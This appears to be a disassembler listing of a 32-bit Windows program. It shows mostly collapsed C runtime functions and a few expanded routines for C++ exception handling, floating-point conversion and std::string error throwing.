; [0000001A BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [0000001D BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND]
; [000000F1 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND]
; [000000DD BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND]
; [000000AA BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [00000040 BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [0000004F BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION FrameUnwindFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; [000000A7 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_424D5E proc near ; DATA XREF: .rdata:stru_439D38o
mov ebx, [ebp+8]
mov esi, [ebp-1Ch]
sub_424D5E endp ; sp-analysis failed
; [00000010 BYTES: COLLAPSED FUNCTION sub_424D64. PRESS KEYPAD "+" TO EXPAND]
; [00000034 BYTES: COLLAPSED FUNCTION ___DestructExceptionObject. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_424DA8 proc near ; DATA XREF: .rdata:stru_439D50o
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
sub_424DA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_424DB1 proc near ; DATA XREF: .rdata:stru_439D50o
mov esp, [ebp-18h]
jmp sub_4254B5
sub_424DB1 endp
; [0000001F BYTES: COLLAPSED FUNCTION AdjustPointer(void *,PMD const &). PRESS KEYPAD "+" TO EXPAND]
; [0000013B BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000003 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_424F16 proc near ; DATA XREF: .rdata:stru_439D60o
mov edi, [ebp+0Ch]
mov esi, [ebp+8]
sub_424F16 endp ; sp-analysis failed
; [00000066 BYTES: COLLAPSED FUNCTION sub_424F1C. PRESS KEYPAD "+" TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,void *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4250F2 proc near ; DATA XREF: .rdata:stru_439D78o
xor eax, eax
inc eax
retn
sub_4250F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4250F6 proc near ; DATA XREF: .rdata:stru_439D78o
mov esp, [ebp-18h]
jmp sub_4254B5
sub_4250F6 endp
; [00000067 BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND]
; [000000BC BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [000001F2 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION sub_4254B5. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4254E2 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p
; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_42019Bp ...
ms_exc = CPPEH_RECORD ptr -18h
push 8
push offset stru_439D98
call __SEH_prolog
mov eax, off_443A70
test eax, eax
jz short loc_42550A
and [ebp+ms_exc.disabled], 0
call eax ; sub_4254B5
jmp short loc_425506
; ---------------------------------------------------------------------------
loc_4254FF: ; DATA XREF: .rdata:stru_439D98o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_425503: ; DATA XREF: .rdata:stru_439D98o
mov esp, [ebp+ms_exc.old_esp]
loc_425506: ; CODE XREF: sub_4254E2+1Bj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
loc_42550A: ; CODE XREF: sub_4254E2+13j
jmp sub_4254B5
sub_4254E2 endp
; ---------------------------------------------------------------------------
align 10h
; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4255AA proc near ; DATA XREF: .data:0043C028o
push offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
call ds:dword_42B180 ; SetUnhandledExceptionFilter
mov dword_4E2998, eax
xor eax, eax
retn
sub_4255AA endp
; =============== S U B R O U T I N E =======================================
sub_4255BD proc near ; DATA XREF: .data:0043C040o
push dword_4E2998
call ds:dword_42B180 ; SetUnhandledExceptionFilter
retn
sub_4255BD endp
; [000000D3 BYTES: COLLAPSED FUNCTION __floor_default_0. PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND]
; [00000159 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [000001F0 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND]
; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND]
; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION unknown_libname_6. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND]
; [000002D0 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND]
; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND]
; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_427274 proc near ; CODE XREF: ___libm_error_support+11Ap
; ___libm_error_support+1D5p ...
xor eax, eax
retn
sub_427274 endp
; [000002A5 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
; [000000A0 BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
; [000000B8 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
; [0000005B BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND]
; [000000BC BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND]
; [00000032 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND]
; [0000004D BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND]
; [00000072 BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [00000019 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_427E18 proc near ; CODE XREF: sub_427E44+2Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_443CD8
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_427E18 endp
; =============== S U B R O U T I N E =======================================
sub_427E2E proc near ; CODE XREF: sub_427E81+2Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_443CF0
push [esp+4+arg_4]
push [esp+8+arg_0]
call __ld12cvt
add esp, 0Ch
retn
sub_427E2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E44 proc near ; CODE XREF: __fassign+12p
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4437D4
mov [ebp+var_4], eax
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_10]
push eax
call sub_427E18
mov ecx, [ebp+var_4]
add esp, 24h
call sub_422B83
leave
retn
sub_427E44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427E81 proc near ; CODE XREF: __fassign+2Dp
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4437D4
mov [ebp+var_4], eax
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
call ___strgtold12
push [ebp+arg_0]
lea eax, [ebp+var_10]
push eax
call sub_427E2E
mov ecx, [ebp+var_4]
add esp, 24h
call sub_422B83
leave
retn
sub_427E81 endp
; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [000000BA BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND]
; [00000074 BYTES: COLLAPSED FUNCTION __fltout. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push 2
call __amsg_exit
pop ecx
retn
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [0000008E BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000032 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4281D4 proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,void *,_s_HandlerType const *,_s_CatchableType const *)+53p
; BuildCatchObject(EHExceptionRecord *,void *,_s_HandlerType const *,_s_CatchableType const *)+8Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
xor esi, esi
push [esp+8+arg_0]
inc esi
call ds:dword_42B140 ; IsBadReadPtr
test eax, eax
jz short loc_4281EC
xor esi, esi
loc_4281EC: ; CODE XREF: sub_4281D4+14j
mov eax, esi
pop esi
retn
sub_4281D4 endp
; =============== S U B R O U T I N E =======================================
sub_4281F0 proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,void *,_s_HandlerType const *,_s_CatchableType const *)+65p
; BuildCatchObject(EHExceptionRecord *,void *,_s_HandlerType const *,_s_CatchableType const *)+9Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
xor esi, esi
push [esp+8+arg_0]
inc esi
call ds:dword_42B1BC ; IsBadWritePtr
test eax, eax
jz short loc_428208
xor esi, esi
loc_428208: ; CODE XREF: sub_4281F0+14j
mov eax, esi
pop esi
retn
sub_4281F0 endp
; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000018 BYTES: COLLAPSED CHUNK OF FUNCTION sub_4254B5. PRESS KEYPAD "+" TO EXPAND]
; [0000009F BYTES: COLLAPSED FUNCTION __lseeki64. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND]
; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
; [0000015C BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND]
; [00000457 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_428FB8 dd offset loc_428BCD ; DATA XREF: ___strgtold12+65r
dd offset loc_428C1D ; jump table for switch statement
dd offset loc_428C68
dd offset loc_428C92
dd offset loc_428CEB
dd offset loc_428D60
dd offset loc_428D90
dd offset loc_428DDA
dd offset loc_428DB9
dd offset loc_428E3C
dd offset loc_428E2E
dd offset loc_428DFA
; [0000028E BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND]
; [00000129 BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000232 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS KEYPAD "+" TO EXPAND]
; [00000086 BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429712 proc near ; CODE XREF: sub_4297E3+25p
; sub_42987E+25p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_42A0AC
call __EH_prolog
push ecx
push esi
mov esi, ecx
mov [ebp+var_10], esi
call sub_4299C6
push [ebp+arg_0]
and [ebp+var_4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_43A4BC
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &)
mov ecx, [ebp+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_429712 endp
; [0000000E BYTES: COLLAPSED FUNCTION unknown_libname_8. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42975C proc near ; CODE XREF: sub_429779+3p
; sub_4297B1+6j ...
push esi
mov esi, ecx
push 0 ; Size
push 1 ; char
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_43A4BC
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
mov ecx, esi
pop esi
jmp sub_429A21
sub_42975C endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_429779(void *Memory,char)
sub_429779 proc near ; DATA XREF: .rdata:off_43A4BCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_42975C
test [esp+4+arg_0], 1
jz short loc_42978F
push esi ; Memory
call j__free
pop ecx
loc_42978F: ; CODE XREF: sub_429779+Dj
mov eax, esi
pop esi
retn 4
sub_429779 endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_429795(void *Memory,char)
sub_429795 proc near ; DATA XREF: .rdata:off_43A4C8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4297B1
test [esp+4+arg_0], 1
jz short loc_4297AB
push esi ; Memory
call j__free
pop ecx
loc_4297AB: ; CODE XREF: sub_429795+Dj
mov eax, esi
pop esi
retn 4
sub_429795 endp
; =============== S U B R O U T I N E =======================================
sub_4297B1 proc near ; CODE XREF: sub_429795+3p
; DATA XREF: .rdata:0043A950o
mov dword ptr [ecx], offset off_43A4C8
jmp sub_42975C
sub_4297B1 endp
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_4297BC(void *Memory,char)
sub_4297BC proc near ; DATA XREF: .rdata:off_43A4D4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4297D8
test [esp+4+arg_0], 1
jz short loc_4297D2
push esi ; Memory
call j__free
pop ecx
loc_4297D2: ; CODE XREF: sub_4297BC+Dj
mov eax, esi
pop esi
retn 4
sub_4297BC endp
; =============== S U B R O U T I N E =======================================
sub_4297D8 proc near ; CODE XREF: sub_4297BC+3p
; DATA XREF: .rdata:0043A8CCo
mov dword ptr [ecx], offset off_43A4D4
jmp sub_42975C
sub_4297D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4297E3 proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Fp
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p ...
var_50 = dword ptr -50h
var_28 = byte ptr -28h
var_4 = dword ptr -4
mov eax, offset loc_42A0BE
call __EH_prolog
sub esp, 44h
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp+var_28]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
and [ebp+var_4], 0
lea eax, [ebp+var_28]
push eax
lea ecx, [ebp+var_50]
call sub_429712
push offset dword_43A8C8
lea eax, [ebp+var_50]
push eax
mov [ebp+var_50], offset off_43A4D4
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
sub_4297E3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429823 proc near ; CODE XREF: .text:0042986Dp
; sub_42987E+47p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov eax, offset loc_42A0AC
call __EH_prolog
push ecx
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
push edi
mov [ebp+var_10], esi
call ??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
and [ebp+var_4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_43A4BC
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>> const &)
mov ecx, [ebp+var_C]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_429823 endp
; ---------------------------------------------------------------------------
push esi
push dword ptr [esp+8]
mov esi, ecx
call sub_429823
mov dword ptr [esi], offset off_43A4D4
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42987E proc near ; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)+Dp
; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+32p ...
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_28 = byte ptr -28h
var_4 = dword ptr -4
mov eax, offset loc_42A0BE
call __EH_prolog
sub esp, 44h
push offset aStringTooLong ; "string too long"
lea ecx, [ebp+var_28]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
and [ebp+var_4], 0
lea eax, [ebp+var_28]
push eax
lea ecx, [ebp+var_50]
call sub_429712
push offset dword_43A94C
lea eax, [ebp+var_50]
push eax
mov [ebp+var_50], offset off_43A4C8
call __CxxThrowException@8 ; _CxxThrowException(x,x)
int 3 ; Trap to Debugger
push esi
push [esp+54h+var_4C]
mov esi, ecx
call sub_429823
mov dword ptr [esi], offset off_43A4C8
mov eax, esi
pop esi
retn 4
sub_42987E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4298D6 proc near ; CODE XREF: sub_40ECCD+5Ep
; sub_411B17+14Dp ...
jmp ds:dword_42B214
sub_4298D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4298DC proc near ; CODE XREF: unknown_libname_2+24p
; __global_unwind2+13p
jmp ds:dword_42B19C
sub_4298DC endp
; [00000088 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4299C6 proc near ; CODE XREF: sub_429712+11p
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax+8], 0
mov dword ptr [eax], offset off_43A510
retn
sub_4299C6 endp
; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_429A21 proc near ; CODE XREF: sub_42975C+18j
; sub_429A44+3p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_43A510
jz short locret_429A36
push dword ptr [ecx+4] ; Memory
call _free
pop ecx
locret_429A36: ; CODE XREF: sub_429A21+Aj
retn
sub_429A21 endp
; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_9. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_429A44(void *Memory,char)
sub_429A44 proc near ; DATA XREF: .rdata:off_43A510o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_429A21
test [esp+4+arg_0], 1
jz short loc_429A5A
push esi ; Memory
call j__free
pop ecx
loc_429A5A: ; CODE XREF: sub_429A44+Dj
mov eax, esi
pop esi
retn 4
sub_429A44 endp
; [00000043 BYTES: COLLAPSED FUNCTION __stricmp. PRESS KEYPAD "+" TO EXPAND]
; [00000081 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000004E BYTES: COLLAPSED FUNCTION ___ascii_stricmp. PRESS KEYPAD "+" TO EXPAND]
; [00000259 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
; [00000225 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO EXPAND]
; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_10. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42A060 proc near ; DATA XREF: .rdata:stru_43A7CCo
lea ecx, [ebp-38h]
jmp loc_40F01A
sub_42A060 endp
; ---------------------------------------------------------------------------
loc_42A068: ; DATA XREF: sub_40F47Ao
mov eax, offset stru_43A7D4
jmp ___CxxFrameHandler
; =============== S U B R O U T I N E =======================================
